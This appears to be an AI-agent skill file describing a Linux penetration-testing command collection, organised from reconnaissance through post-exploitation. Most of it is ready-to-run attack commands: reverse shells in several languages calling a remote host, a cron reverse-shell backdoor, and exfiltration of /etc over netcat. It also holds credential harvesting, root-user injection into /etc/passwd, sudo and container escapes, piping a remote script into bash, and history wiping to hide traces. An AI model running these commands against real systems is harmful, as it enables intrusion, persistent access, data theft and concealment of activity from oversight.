linux-pentesting-commands

# Linux Pentesting Commands Skill > Skill by [ara.so](https://ara.so) — Security Skills collection. This skill provides expertise in using the **Linux-for-a-Pentester** repository, a curated collection of practical Linux commands for penetration testing. The repository covers reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases with real-world command examples. ## What This Project Does Linux-for-a-Pentester is a knowledge base of shell commands organized by penetration testing phases: - **General Commands**: Essential Linux survival commands - **Reconnaissance**: Local and network discovery - **Enumeration**: Service and user data deep-diving - **Exploitation**: Initial access techniques - **Privilege Escalation**: Getting root access - **Post-Exploitation**: Persistence and lateral movement - **Cheatsheets**: Quick reference one-liners ## Installation Clone the repository for offline reference: ```bash git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git cd Linux-for-a-Pentester ``` Or browse individual module directories as needed during engagements. ## Repository Structure ``` Linux-for-a-Pentester/ ├── 00-General-Commands/ # Basic Linux commands ├── 01-Recon/ # Reconnaissance techniques ├── 02-Enumeration/ # Service enumeration ├── 03-Exploitation/ # Exploitation methods ├── 04-Privilege-Escalation/ # PrivEsc techniques ├── 05-Post-Exploitation/ # Post-compromise actions └── Cheatsheets/ # Quick reference guides ``` ## Key Command Categories ### General Commands (00-General-Commands) Essential commands for navigating and managing Linux systems: ```bash # System information uname -a # Kernel version and architecture cat /etc/os-release # Distribution information hostname # System hostname whoami # Current user id # User and group IDs # File operations find / -name "*.conf" 2>/dev/null # Find config files grep -r "password" /etc 2>/dev/null # Search for passwords ls -la /home # List user directories which python python3 # Locate executables # Process management ps aux # List all processes netstat -tulpn # Network connections (deprecated) ss -tulpn # Socket statistics (modern) lsof -i :80 # Files/processes on port 80 ``` ### Reconnaissance (01-Recon) Local and network discovery commands: ```bash # Network reconnaissance ip a # Network interfaces (modern) ifconfig # Network interfaces (legacy) ip route # Routing table arp -a # ARP cache cat /etc/hosts # Static host mappings cat /etc/resolv.conf # DNS configuration # Port scanning nc -zv 192.168.1.1 1-1000 # Port scan with netcat for p in {1..1000}; do (echo >/dev/tcp/192.168.1.1/$p) 2>/dev/null && echo "$p open"; done # User enumeration cat /etc/passwd # System users cat /etc/group # System groups w # Logged in users last # Login history lastlog # Last login per user # Environment env # Environment variables echo $PATH # Executable search path history # Command history cat ~/.bash_history # Bash command history ``` ### Enumeration (02-Enumeration) Deep service and configuration analysis: ```bash # SUID/SGID files (privilege escalation vectors) find / -perm -4000 -type f 2>/dev/null # SUID binaries find / -perm -2000 -type f 2>/dev/null # SGID binaries find / -perm -u=s -type f 2>/dev/null # Alternative SUID search # Capabilities getcap -r / 2>/dev/null # Files with capabilities # Writable directories find / -writable -type d 2>/dev/null # All writable dirs find / -perm -222 -type d 2>/dev/null # World-writable dirs find / -perm -o w -type d 2>/dev/null # Others can write # Cron jobs (scheduled tasks) cat /etc/crontab # System crontab ls -la /etc/cron.* # Cron directories crontab -l # Current user's crontab cat /var/spool/cron/crontabs/* 2>/dev/null # Services and daemons systemctl list-units --type=service # SystemD services service --status-all # SysV init services cat /etc/services # Port to service mapping # Installed software dpkg -l # Debian/Ubuntu packages rpm -qa # RedHat/CentOS packages which gcc g++ python perl # Compiler availability ``` ### Exploitation (03-Exploitation) Initial access and shell techniques: ```bash # Reverse shells bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 nc -e /bin/bash 10.10.10.10 4444 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # Shell upgrading python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' # Then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm # File transfers # On attacker: python3 -m http.server 8000 wget http://10.10.10.10:8000/exploit.sh curl http://10.10.10.10:8000/exploit.sh -o exploit.sh nc -lvp 4444 > received_file # Receiver nc 10.10.10.10 4444 < file_to_send # Sender # SSH techniques ssh user@target -p 2222 # Custom port ssh -i id_rsa user@target # Key-based auth ssh -L 8080:localhost:80 user@target # Local port forward ssh -D 9050 user@target # SOCKS proxy ``` ### Privilege Escalation (04-Privilege-Escalation) Commands for escalating to root: ```bash # Sudo exploitation sudo -l # Check sudo privileges sudo -u#-1 /bin/bash # CVE-2019-14287 (sudo < 1.8.28) # Kernel exploits uname -a # Kernel version cat /proc/version # Detailed kernel info searchsploit kernel 4.4.0 # Search for kernel exploits # Writable /etc/passwd openssl passwd -1 -salt xyz password123 echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd # Path hijacking echo '/bin/bash' > /tmp/ls chmod +x /tmp/ls export PATH=/tmp:$PATH # LD_PRELOAD exploitation # Create malicious .so library gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles sudo LD_PRELOAD=/tmp/exploit.so program # NFS no_root_squash showmount -e target # List NFS shares mount -o rw target:/share /mnt # Create SUID binary in mounted share # Docker escape docker run -v /:/mnt --rm -it alpine chroot /mnt sh ``` ### Post-Exploitation (05-Post-Exploitation) Persistence and data exfiltration: ```bash # Persistence # SSH key installation mkdir -p ~/.ssh echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys # Cron backdoor (crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab - # Data exfiltration tar czf - /etc | base64 | nc 10.10.10.10 4444 find /home -name "*.pdf" -exec cp {} /tmp/loot/ \; # Credential harvesting cat /home/*/.bash_history | grep -E 'ssh|mysql|password' grep -r "password=" /var/www 2>/dev/null find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i pass # Cleanup history -c # Clear session history rm ~/.bash_history # Remove history file unset HISTFILE # Disable history logging ``` ## Common Patterns ### Automated Enumeration Scripts ```bash # LinPEAS (Linux Privilege Escalation Awesome Script) curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash # Or download and run: wget http://attacker-ip:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh # LinEnum ./LinEnum.sh -t # Thorough tests ``` ### One-Liner Web Server ```bash # Python 3 python3 -m http.server 8000 # Python 2 python -m SimpleHTTPServer 8000 # PHP php -S 0.0.0.0:8000 # Ruby ruby -run -ehttpd . -p8000 ``` ### File Permission Checks ```bash # Find files owned by specific user find / -user www-data 2>/dev/null # Find files with no owner find / -nouser 2>/dev/null # Recently modified files find / -mtime -1 -type f 2>/dev/null # Files modified in last 10 minutes find / -mmin -10 -type f 2>/dev/null ``` ## Troubleshooting ### Command Not Found **Problem**: Common tools missing on target system. **Solution**: Use alternatives or native shell built-ins: ```bash # No netcat? Use bash: bash -c 'exec 3<>/dev/tcp/10.10.10.10/4444; cat <&3 & cat >&3; kill $!' # No wget/curl? Use scripting: exec 3<>/dev/tcp/attacker-ip/80 echo -e "GET /file HTTP/1.0\n" >&3 cat <&3 ``` ### Python Not Available **Problem**: No Python installed for reverse shells. **Solution**: Use other interpreters: ```bash # Perl reverse shell perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # PHP reverse shell php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ### Restricted Shell Escape **Problem**: Stuck in restricted shell (rbash). **Solution**: Common escape techniques: ```bash # SSH with command execution ssh user@target -t "bash --noprofile" # Language interpreters python -c 'import os; os.system("/bin/bash")' # Vi/Vim escape vi :set shell=/bin/bash :shell # AWK escape awk 'BEGIN {system("/bin/bash")}' ``` ### TTY Shell Issues **Problem**: Non-interactive shell without tab completion. **Solution**: Upgrade to full TTY: ```bash # Method 1: Python python -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg export TERM=xterm # Method 2: Script /usr/bin/script -qc /bin/bash /dev/null # Method 3: Expect expect -c 'spawn /bin/bash; interact' ``` ## Best Practices 1. **Always redirect stderr**: Add `2>/dev/null` to avoid permission errors cluttering output 2. **Check alternatives**: If modern tools fail, try legacy versions (e.g., `netstat` vs `ss`) 3. **Document findings**: Keep notes on what works for each target OS/version 4. **Test safely**: Understand command impact before running on production systems 5. **Use full paths**: Avoid PATH hijacking by using `/usr/bin/command` instead of `command` ## Integration with Other Tools These commands complement common pentesting tools: ```bash # After nmap scan, enumerate further nmap -sV -p- target -oN scan.txt cat scan.txt | grep open # Feed into exploitation frameworks # Use discovered services with Metasploit, etc. # Combine with automated scanners nikto -h http://target gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt ``` ## References Navigate to specific directories in the repository for detailed command lists: - `/00-General-Commands/` - Basic Linux operations - `/01-Recon/` - Reconnaissance techniques - `/02-Enumeration/` - Enumeration commands - `/03-Exploitation/` - Exploitation methods - `/04-Privilege-Escalation/` - PrivEsc techniques - `/05-Post-Exploitation/` - Post-compromise actions - `/Cheatsheets/` - Quick reference guides **Repository**: https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester